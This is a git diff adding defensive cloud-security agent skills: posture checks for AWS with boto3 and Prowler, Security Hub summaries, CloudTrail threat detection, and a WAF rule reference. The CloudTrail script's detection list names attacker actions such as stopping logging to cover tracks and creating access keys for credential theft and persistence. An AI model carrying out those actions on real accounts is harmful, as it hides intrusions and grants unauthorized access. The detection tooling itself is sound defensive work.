b/skills/implementing-cloud-security-posture-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-security-posture-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-security-posture-management/references/api-reference.md b/skills/implementing-cloud-security-posture-management/references/api-reference.md new file mode 100644 index 00000000..d9c2576f --- /dev/null +++ b/skills/implementing-cloud-security-posture-management/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Implementing Cloud Security Posture Management + +## Libraries + +### Prowler (Multi-Cloud CSPM) +- **Install**: `pip install prowler` +- **Docs**: https://docs.prowler.com/ +- CLI: `prowler aws --compliance cis_level1 -M json` +- Supported: AWS, Azure, GCP, Kubernetes +- Compliance frameworks: CIS, SOC2, PCI-DSS, HIPAA, NIST 800-53, GDPR + +### boto3 (AWS Posture Checks) +- **Install**: `pip install boto3` +- Key services: S3, IAM, EC2, CloudTrail, Config, SecurityHub + +### ScoutSuite (Multi-Cloud Auditing) +- **Install**: `pip install scoutsuite` +- **Docs**: https://github.com/nccgroup/ScoutSuite +- CLI: `scout aws --report-dir /tmp/scout-report` + +## AWS Posture Check APIs + +| Service | Method | Check | +|---------|--------|-------| +| S3 | `get_public_access_block()` | Public access settings | +| S3 | `get_bucket_encryption()` | Default encryption | +| IAM | `get_account_summary()` | Root MFA status | +| IAM | `list_access_keys()` | Key age/rotation | +| EC2 | `describe_security_groups()` | Open ports (0.0.0.0/0) | +| CloudTrail | `get_trail_status()` | Logging active | +| Config | `describe_config_rules()` | Compliance rules | + +## Prowler Check Categories +- IAM: Access keys, MFA, password policy, root usage +- Storage: S3 public access, encryption, versioning +- Network: Security groups, VPC flow logs, NACLs +- Logging: CloudTrail, Config, VPC flow logs +- Encryption: EBS, RDS, S3, KMS key rotation + +## Severity Mapping +- **CRITICAL**: Root MFA disabled, CloudTrail off, public DB +- **HIGH**: S3 public access, open SSH/RDP, unencrypted volumes +- **MEDIUM**: Key rotation >90d, missing tags, flow logs off +- **LOW**: Informational findings, best practice suggestions + +## External References +- Prowler Documentation: https://docs.prowler.com/ +- ScoutSuite: https://github.com/nccgroup/ScoutSuite +- AWS Security Hub: https://docs.aws.amazon.com/securityhub/ +- CIS Benchmarks: https://www.cisecurity.org/benchmark/amazon_web_services diff --git a/skills/implementing-cloud-security-posture-management/scripts/agent.py b/skills/implementing-cloud-security-posture-management/scripts/agent.py new file mode 100644 index 00000000..e50fa294 --- /dev/null +++ b/skills/implementing-cloud-security-posture-management/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Cloud Security Posture Management (CSPM) agent across AWS, Azure, and GCP.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime +from collections import Counter + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + boto3 = None + + +def run_prowler_scan(provider="aws", compliance="cis_level1", output_format="json"): + """Run Prowler CSPM scan against a cloud provider.""" + cmd = ["prowler", provider, "--compliance", compliance, + "-M", output_format, "--output-directory", "/tmp/prowler-output"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + return {"status": "completed", "returncode": result.returncode, + "output_dir": "/tmp/prowler-output"} + except FileNotFoundError: + return {"error": "Prowler not installed. Run: pip install prowler"} + except subprocess.TimeoutExpired: + return {"error": "Prowler scan timed out after 10 minutes"} + + +def check_aws_security_posture(region="us-east-1"): + """Run basic AWS security posture checks using boto3.""" + if boto3 is None: + return {"error": "boto3 not installed"} + findings = [] + + s3 = boto3.client("s3", region_name=region) + try: + buckets = s3.list_buckets().get("Buckets", []) + for bucket in buckets: + name = bucket["Name"] + try: + pab = s3.get_public_access_block(Bucket=name) + config = pab["PublicAccessBlockConfiguration"] + if not all([config["BlockPublicAcls"], config["BlockPublicPolicy"], + config["IgnorePublicAcls"], config["RestrictPublicBuckets"]]): + findings.append({"check": "S3_PUBLIC_ACCESS", "resource": name, + "severity": "HIGH", "status": "FAIL", + "detail": "Public access block not fully enabled"}) + except ClientError: + findings.append({"check": "S3_PUBLIC_ACCESS", "resource": name, + "severity": "HIGH", "status": "FAIL", + "detail": "No public access block configured"}) + try: + s3.get_bucket_encryption(Bucket=name) + except ClientError: + findings.append({"check": "S3_ENCRYPTION", "resource": name, + "severity": "MEDIUM", "status": "FAIL", + "detail": "Default encryption not enabled"}) + except ClientError as e: + findings.append({"check": "S3_ACCESS", "status": "ERROR", "detail": str(e)}) + + iam = boto3.client("iam", region_name=region) + try: + acct_summary = iam.get_account_summary()["SummaryMap"] + if acct_summary.get("AccountMFAEnabled", 0) == 0: + findings.append({"check": "ROOT_MFA", "resource": "root-account", + "severity": "CRITICAL", "status": "FAIL", + "detail": "Root account MFA not enabled"}) + users = iam.list_users()["Users"] + for user in users: + keys = iam.list_access_keys(UserName=user["UserName"])["AccessKeyMetadata"] + for key in keys: + age = (datetime.utcnow() - key["CreateDate"].replace(tzinfo=None)).days + if age > 90: + findings.append({"check": "IAM_KEY_ROTATION", "resource": user["UserName"], + "severity": "MEDIUM", "status": "FAIL", + "detail": f"Access key {key['AccessKeyId']} is {age} days old"}) + except ClientError as e: + findings.append({"check": "IAM_ACCESS", "status": "ERROR", "detail": str(e)}) + + ec2 = boto3.client("ec2", region_name=region) + try: + sgs = ec2.describe_security_groups()["SecurityGroups"] + for sg in sgs: + for rule in sg.get("IpPermissions", []): + for ip_range in rule.get("IpRanges", []): + if ip_range.get("CidrIp") == "0.0.0.0/0": + port = rule.get("FromPort", "all") + if port in [22, 3389, 0, -1]: + findings.append({"check": "SG_OPEN_PORTS", "resource": sg["GroupId"], + "severity": "HIGH", "status": "FAIL", + "detail": f"Port {port} open to 0.0.0.0/0"}) + except ClientError as e: + findings.append({"check": "EC2_ACCESS", "status": "ERROR", "detail": str(e)}) + + ct = boto3.client("cloudtrail", region_name=region) + try: + trails = ct.describe_trails()["trailList"] + if not trails: + findings.append({"check": "CLOUDTRAIL_ENABLED", "resource": "account", + "severity": "CRITICAL", "status": "FAIL", + "detail": "No CloudTrail trails configured"}) + for trail in trails: + status = ct.get_trail_status(Name=trail["TrailARN"]) + if not status.get("IsLogging"): + findings.append({"check": "CLOUDTRAIL_LOGGING", "resource": trail["Name"], + "severity": "CRITICAL", "status": "FAIL", + "detail": "CloudTrail is not actively logging"}) + except ClientError as e: + findings.append({"check": "CLOUDTRAIL_ACCESS", "status": "ERROR", "detail": str(e)}) + + return findings + + +def generate_posture_report(findings): + """Generate a CSPM posture report from findings.""" + severity_counts = Counter(f["severity"] for f in findings if f.get("severity")) + check_counts = Counter(f["check"] for f in findings) + fail_count = sum(1 for f in findings if f.get("status") == "FAIL") + pass_rate = round((1 - fail_count / max(len(findings), 1)) * 100, 1) + + print(f"\n{'='*60}") + print(f" CSPM POSTURE REPORT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + print(f"--- SUMMARY ---") + print(f" Total Checks: {len(findings)}") + print(f" Failed: {fail_count}") + print(f" Pass Rate: {pass_rate}%\n") + + print(f"--- BY SEVERITY ---") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]: + count = severity_counts.get(sev, 0) + bar = "#" * count + print(f" {sev:<10} {count:>3} {bar}") + + print(f"\n--- FAILED CHECKS ---") + for f in findings: + if f.get("status") == "FAIL": + print(f" [{f['severity']}] {f['check']}: {f.get('resource', 'N/A')}") + print(f" {f.get('detail', '')}") + + print(f"\n{'='*60}\n") + return {"total": len(findings), "failed": fail_count, "pass_rate": pass_rate, + "by_severity": dict(severity_counts)} + + +def main(): + parser = argparse.ArgumentParser(description="CSPM Agent") + parser.add_argument("--provider", default="aws", choices=["aws", "azure", "gcp"]) + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--prowler", action="store_true", help="Run Prowler scan") + parser.add_argument("--scan", action="store_true", help="Run built-in posture scan") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.prowler: + result = run_prowler_scan(args.provider) + print(json.dumps(result, indent=2)) + elif args.scan: + findings = check_aws_security_posture(args.region) + report = generate_posture_report(findings) + if args.output: + with open(args.output, "w") as f: + json.dump({"findings": findings, "summary": report}, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-trail-log-analysis/LICENSE b/skills/implementing-cloud-trail-log-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-trail-log-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-trail-log-analysis/references/api-reference.md b/skills/implementing-cloud-trail-log-analysis/references/api-reference.md new file mode 100644 index 00000000..eefe4376 --- /dev/null +++ b/skills/implementing-cloud-trail-log-analysis/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Implementing CloudTrail Log Analysis + +## Libraries + +### boto3 -- AWS CloudTrail +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/cloudtrail.html + +### Key Methods + +| Method | Description | +|--------|-------------| +| `lookup_events()` | Search recent CloudTrail events with filters | +| `describe_trails()` | List configured trails | +| `get_trail_status()` | Check if trail is actively logging | +| `create_trail()` | Create a new CloudTrail trail | +| `start_logging()` / `stop_logging()` | Control trail recording | +| `get_event_selectors()` | View event type configuration | +| `put_event_selectors()` | Configure management/data event capture | + +## Lookup Attributes + +| AttributeKey | Description | +|-------------|-------------| +| `EventName` | API action name (e.g., `RunInstances`) | +| `Username` | IAM user or role name | +| `ResourceType` | AWS resource type | +| `ResourceName` | Specific resource identifier | +| `EventSource` | AWS service (e.g., `ec2.amazonaws.com`) | +| `ReadOnly` | Filter read vs write events | + +## Suspicious Event Names + +| Event | Threat Category | +|-------|----------------| +| `StopLogging` / `DeleteTrail` | Anti-forensics | +| `CreateUser` / `CreateAccessKey` | Persistence | +| `AttachUserPolicy` / `PutUserPolicy` | Privilege escalation | +| `ConsoleLogin` (failed) | Brute force | +| `RunInstances` | Resource abuse / cryptomining | +| `AuthorizeSecurityGroupIngress` | Lateral movement | +| `DisableKey` | Ransomware indicator | + +## Athena Query Integration +- Create Athena table from CloudTrail S3 logs +- SQL queries for historical analysis beyond 90-day API limit +- Partition by region, year, month for performance + +## CloudWatch Logs Insights +- `filter eventName = "ConsoleLogin"` -- Login analysis +- `stats count(*) by eventName` -- API call frequency +- `filter errorCode = "AccessDenied"` -- Permission issues + +## External References +- CloudTrail User Guide: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/ +- CloudTrail Log Events: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html +- Athena + CloudTrail: https://docs.aws.amazon.com/athena/latest/ug/cloudtrail-logs.html diff --git a/skills/implementing-cloud-trail-log-analysis/scripts/agent.py b/skills/implementing-cloud-trail-log-analysis/scripts/agent.py new file mode 100644 index 00000000..f9791066 --- /dev/null +++ b/skills/implementing-cloud-trail-log-analysis/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""CloudTrail log analysis agent for security monitoring and threat detection.""" + +import json +import sys +import argparse +from datetime import datetime, timedelta +from collections import Counter + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3") + sys.exit(1) + + +SUSPICIOUS_EVENTS = { + "ConsoleLogin": "Potential unauthorized console access", + "StopLogging": "CloudTrail logging disabled - cover tracks", + "DeleteTrail": "CloudTrail trail deleted - evidence destruction", + "CreateUser": "New IAM user created - possible persistence", + "CreateAccessKey": "New access key - potential credential theft", + "AttachUserPolicy": "Policy attached to user - privilege escalation", + "PutBucketPolicy": "S3 bucket policy changed - data exposure risk", + "AuthorizeSecurityGroupIngress": "Security group opened - lateral movement", + "RunInstances": "EC2 instances launched - cryptomining or C2", + "CreateRole": "New IAM role created - privilege escalation", + "AssumeRole": "Role assumed - potential lateral movement", + "PutUserPolicy": "Inline policy added to user", + "DeleteBucketEncryption": "Bucket encryption removed", + "DisableKey": "KMS key disabled - ransomware indicator", + "ModifyInstanceAttribute": "Instance attribute changed", +} + + +def get_cloudtrail_client(region="us-east-1"): + """Create CloudTrail client.""" + return boto3.client("cloudtrail", region_name=region) + + +def lookup_events(client, event_name=None, hours=24, max_results=50): + """Look up CloudTrail events with optional filtering.""" + start_time = datetime.utcnow() - timedelta(hours=hours) + kwargs = {"StartTime": start_time, "MaxResults": max_results, + "LookupAttributes": []} + if event_name: + kwargs["LookupAttributes"] = [{"AttributeKey": "EventName", "AttributeValue": event_name}] + try: + resp = client.lookup_events(**kwargs) + events = [] + for e in resp.get("Events", []): + detail = json.loads(e.get("CloudTrailEvent", "{}")) + events.append({ + "event_name": e.get("EventName"), + "event_time": str(e.get("EventTime")), + "username": e.get("Username", "unknown"), + "source_ip": detail.get("sourceIPAddress", "unknown"), + "user_agent": detail.get("userAgent", "unknown"), + "region": detail.get("awsRegion", "unknown"), + "error_code": detail.get("errorCode"), + "error_message": detail.get("errorMessage"), + "resources": [r.get("ResourceName", "") for r in e.get("Resources", [])], + }) + return events + except ClientError as e: + return [{"error": str(e)}] + + +def detect_suspicious_activity(client, hours=24): + """Scan CloudTrail for suspicious API calls.""" + detections = [] + for event_name, description in SUSPICIOUS_EVENTS.items(): + events = lookup_events(client, event_name=event_name, hours=hours) + for e in events: + if e.get("error"): + continue + severity = "CRITICAL" if event_name in ["StopLogging", "DeleteTrail", "DisableKey"] \ + else "HIGH" if event_name in ["CreateUser", "CreateAccessKey", "AttachUserPolicy"] \ + else "MEDIUM" + detections.append({ + "event": event_name, "description": description, + "severity": severity, "user": e["username"], + "source_ip": e["source_ip"], "time": e["event_time"], + "resources": e["resources"], + }) + return sorted(detections, key=lambda x: {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2}.get(x["severity"], 3)) + + +def detect_failed_auth(client, hours=24): + """Detect failed authentication attempts.""" + events = lookup_events(client, event_name="ConsoleLogin", hours=hours, max_results=100) + failed = [e for e in events if e.get("error_code")] + by_ip = Counter(e["source_ip"] for e in failed) + by_user = Counter(e["username"] for e in failed) + return {"total_failed": len(failed), "by_source_ip": dict(by_ip.most_common(10)), + "by_username": dict(by_user.most_common(10))} + + +def detect_unauthorized_regions(client, authorized_regions, hours=24): + """Detect API calls from unauthorized AWS regions.""" + events = lookup_events(client, hours=hours, max_results=100) + unauthorized = [e for e in events if e.get("region") and + e["region"] not in authorized_regions and not e.get("error")] + return unauthorized + + +def analyze_user_activity(client, username, hours=24): + """Analyze all activity for a specific user.""" + kwargs = {"StartTime": datetime.utcnow() - timedelta(hours=hours), + "MaxResults": 50, + "LookupAttributes": [{"AttributeKey": "Username", "AttributeValue": username}]} + try: + resp = client.lookup_events(**kwargs) + actions = Counter() + timeline = [] + for e in resp.get("Events", []): + actions[e.get("EventName")] += 1 + timeline.append({"event": e.get("EventName"), "time": str(e.get("EventTime"))}) + return {"user": username, "total_events": len(timeline), + "actions": dict(actions.most_common(20)), "timeline": timeline[:20]} + except ClientError as e: + return {"error": str(e)} + + +def run_cloudtrail_analysis(region="us-east-1", hours=24): + """Run comprehensive CloudTrail security analysis.""" + client = get_cloudtrail_client(region) + + print(f"\n{'='*60}") + print(f" CLOUDTRAIL SECURITY ANALYSIS") + print(f" Region: {region} | Lookback: {hours}h") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + detections = detect_suspicious_activity(client, hours) + print(f"--- SUSPICIOUS ACTIVITY ({len(detections)} detections) ---") + for d in detections[:15]: + print(f" [{d['severity']}] {d['event']}: {d['description']}") + print(f" User: {d['user']} | IP: {d['source_ip']} | Time: {d['time']}") + + auth = detect_failed_auth(client, hours) + print(f"\n--- FAILED AUTHENTICATION ---") + print(f" Total failures: {auth['total_failed']}") + print(f" Top IPs: {auth['by_source_ip']}") + print(f" Top Users: {auth['by_username']}") + + print(f"\n{'='*60}\n") + return {"detections": detections, "auth_failures": auth} + + +def main(): + parser = argparse.ArgumentParser(description="CloudTrail Log Analysis Agent") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--hours", type=int, default=24, help="Lookback period in hours") + parser.add_argument("--analyze", action="store_true", help="Run full analysis") + parser.add_argument("--user", help="Analyze specific user activity") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.user: + client = get_cloudtrail_client(args.region) + result = analyze_user_activity(client, args.user, args.hours) + print(json.dumps(result, indent=2, default=str)) + elif args.analyze: + report = run_cloudtrail_analysis(args.region, args.hours) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-vulnerability-posture-management/LICENSE b/skills/implementing-cloud-vulnerability-posture-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-vulnerability-posture-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md b/skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md new file mode 100644 index 00000000..96be2d0a --- /dev/null +++ b/skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Cloud Security Posture Management Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| boto3 | >=1.28 | AWS SDK for Security Hub findings and compliance | +| prowler | >=4.0 | Open-source cloud security scanner (optional, via subprocess) | + +## CLI Usage + +```bash +python scripts/agent.py \ + --profile security-audit \ + --region us-east-1 \ + --output-dir /reports/ \ + --output cspm_report.json +``` + +## Functions + +### `get_securityhub_client(profile, region)` +Creates boto3 Security Hub client. + +### `get_findings_summary(client, max_results) -> dict` +Calls `client.get_findings()` filtered to NEW/ACTIVE findings, groups by severity. + +### `get_compliance_summary(client) -> list` +Calls `client.get_enabled_standards()` then `describe_standards_controls()` per standard. Returns compliance percentages. + +### `run_prowler_scan(profile, region) -> dict` +Executes `prowler aws --output-formats json` via subprocess with 10-minute timeout. + +### `generate_report(client, profile, region) -> dict` +Combines Security Hub and Prowler results into unified CSPM report. + +## boto3 Security Hub Methods + +| Method | Purpose | +|--------|---------| +| `get_findings(Filters, MaxResults)` | Retrieve active findings | +| `get_enabled_standards()` | List enabled compliance standards | +| `describe_standards_controls(StandardsSubscriptionArn)` | Control-level compliance | + +## Output Schema + +```json +{ + "summary": {"finding_counts": {"CRITICAL": 3, "HIGH": 12}, "total_findings": 45}, + "compliance_standards": [{"standard": "cis-aws-foundations-benchmark", "compliance_pct": 78.5}], + "recommendations": ["Remediate 3 CRITICAL findings immediately"] +} +``` diff --git a/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py b/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py new file mode 100644 index 00000000..3ec7a0c9 --- /dev/null +++ b/skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Cloud Security Posture Management agent using boto3 for AWS Security Hub and Prowler.""" + +import argparse +import json +import logging +import os +import subprocess +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + sys.exit("boto3 required: pip install boto3") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def get_securityhub_client(profile: str = "", region: str = "us-east-1"): + """Create Security Hub client.""" + session = boto3.Session(profile_name=profile) if profile else boto3.Session() + return session.client("securityhub", region_name=region) + + +def get_findings_summary(client, max_results: int = 100) -> dict: + """Get Security Hub findings grouped by severity.""" + try: + resp = client.get_findings( + Filters={"WorkflowStatus": [{"Value": "NEW", "Comparison": "EQUALS"}], + "RecordState": [{"Value": "ACTIVE", "Comparison": "EQUALS"}]}, + MaxResults=max_results, + ) + findings = resp.get("Findings", []) + by_severity = {"CRITICAL": [], "HIGH": [], "MEDIUM": [], "LOW": []} + for f in findings: + sev = f.get("Severity", {}).get("Label", "LOW") + if sev in by_severity: + by_severity[sev].append({ + "title": f.get("Title", ""), + "resource": f.get("Resources", [{}])[0].get("Id", ""), + "standard": f.get("ProductName", ""), + "created": f.get("CreatedAt", ""), + }) + return {sev: items for sev, items in by_severity.items()} + except ClientError as exc: + return {"error": str(exc)} + + +def get_compliance_summary(client) -> List[dict]: + """Get compliance status across enabled security standards.""" + try: + resp = client.get_enabled_standards() + standards = [] + for sub in resp.get("StandardsSubscriptions", []): + arn = sub.get("StandardsSubscriptionArn", "") + controls = client.describe_standards_controls(StandardsSubscriptionArn=arn, MaxResults=100) + total = len(controls.get("Controls", [])) + passed = sum(1 for c in controls.get("Controls", []) + if c.get("ComplianceStatus") == "PASSED") + standards.append({ + "standard": sub.get("StandardsArn", "").split("/")[-1], + "status": sub.get("StandardsStatus", ""), + "total_controls": total, + "passed": passed, + "failed": total - passed, + "compliance_pct": round(passed / total * 100, 1) if total else 0, + }) + return standards + except ClientError as exc: + return [{"error": str(exc)}] + + +def run_prowler_scan(profile: str = "", region: str = "us-east-1") -> dict: + """Run Prowler security scan via subprocess.""" + cmd = ["prowler", "aws", "--output-formats", "json", "-M", "json-ocsf"] + if profile: + cmd.extend(["--profile", profile]) + if region: + cmd.extend(["--region", region]) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.stdout: + lines = result.stdout.strip().split("\n") + findings = [json.loads(line) for line in lines if line.strip()] + return {"findings_count": len(findings), "findings": findings[:50]} + except (FileNotFoundError, subprocess.TimeoutExpired): + logger.warning("Prowler not available or timed out") + return {} + + +def generate_report(client, profile: str, region: str) -> dict: + """Generate CSPM report combining Security Hub and Prowler.""" + report = {"analysis_date": datetime.utcnow().isoformat(), "region": region} + report["security_hub_findings"] = get_findings_summary(client) + report["compliance_standards"] = get_compliance_summary(client) + counts = {sev: len(items) for sev, items in report["security_hub_findings"].items() + if isinstance(items, list)} + report["summary"] = { + "finding_counts": counts, + "total_findings": sum(counts.values()), + "standards_assessed": len(report["compliance_standards"]), + } + report["recommendations"] = [] + if counts.get("CRITICAL", 0) > 0: + report["recommendations"].append( + f"Remediate {counts['CRITICAL']} CRITICAL findings immediately") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Cloud Security Posture Management Agent") + parser.add_argument("--profile", default="") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="cspm_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = get_securityhub_client(args.profile, args.region) + report = generate_report(client, args.profile, args.region) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-cloud-waf-rules/LICENSE b/skills/implementing-cloud-waf-rules/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-cloud-waf-rules/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-cloud-waf-rules/references/api-reference.md b/skills/implementing-cloud-waf-rules/references/api-reference.md new file mode 100644 index 00000000..4503ebbe --- /dev/null +++ b/skills/implementing-cloud-waf-rules/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Implementing Cloud WAF Rules + +## Libraries + +### boto3 -- AWS WAFv2 +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/wafv2.html + +### Key Methods + +| Method | Description | +|--------|-------------| +| `create_web_acl()` | Create a new Web ACL | +| `update_web_acl()` | Add/modify rules in a Web ACL | +| `get_web_acl()` | Retrieve Web ACL details and rules | +| `list_web_acls()` | List all Web ACLs in scope | +| `associate_web_acl()` | Attach ACL to ALB, API Gateway, CloudFront | +| `get_sampled_requests()` | View sampled WAF request data | +| `list_available_managed_rule_groups()` | List AWS managed rule sets | +| `create_ip_set()` | Create IP allowlist/blocklist | +| `create_regex_pattern_set()` | Custom regex matching patterns | + +## AWS Managed Rule Groups + +| Name | Protection | +|------|-----------| +| `AWSManagedRulesCommonRuleSet` | OWASP core (XSS, LFI, RFI) | +| `AWSManagedRulesSQLiRuleSet` | SQL injection | +| `AWSManagedRulesKnownBadInputsRuleSet` | Known exploit patterns | +| `AWSManagedRulesLinuxRuleSet` | Linux LFI patterns | +| `AWSManagedRulesBotControlRuleSet` | Bot detection/management | +| `AWSManagedRulesATPRuleSet` | Account takeover prevention | +| `AWSManagedRulesAnonymousIpList` | VPN/proxy/Tor blocking | + +## Rule Statement Types +- `ManagedRuleGroupStatement` -- AWS or marketplace managed rules +- `RateBasedStatement` -- Rate limiting by IP (100-2B req/5min) +- `GeoMatchStatement` -- Country-based blocking +- `ByteMatchStatement` -- Custom string/header matching +- `SqliMatchStatement` -- SQL injection detection +- `XssMatchStatement` -- Cross-site scripting detection +- `RegexPatternSetReferenceStatement` -- Custom regex rules +- `IPSetReferenceStatement` -- IP allowlist/blocklist + +## Rule Actions +- `Allow` -- Permit the request +- `Block` -- Reject with 403 +- `Count` -- Log only (for testing rules) +- `CAPTCHA` -- Challenge with CAPTCHA +- `Challenge` -- Silent browser challenge + +## External References +- AWS WAF Developer Guide: https://docs.aws.amazon.com/waf/latest/developerguide/ +- Managed Rules List: https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-list.html +- Azure WAF: https://learn.microsoft.com/en-us/azure/web-application-firewall/ +- Cloudflare WAF: https://developers.cloudflare.com/waf/ diff 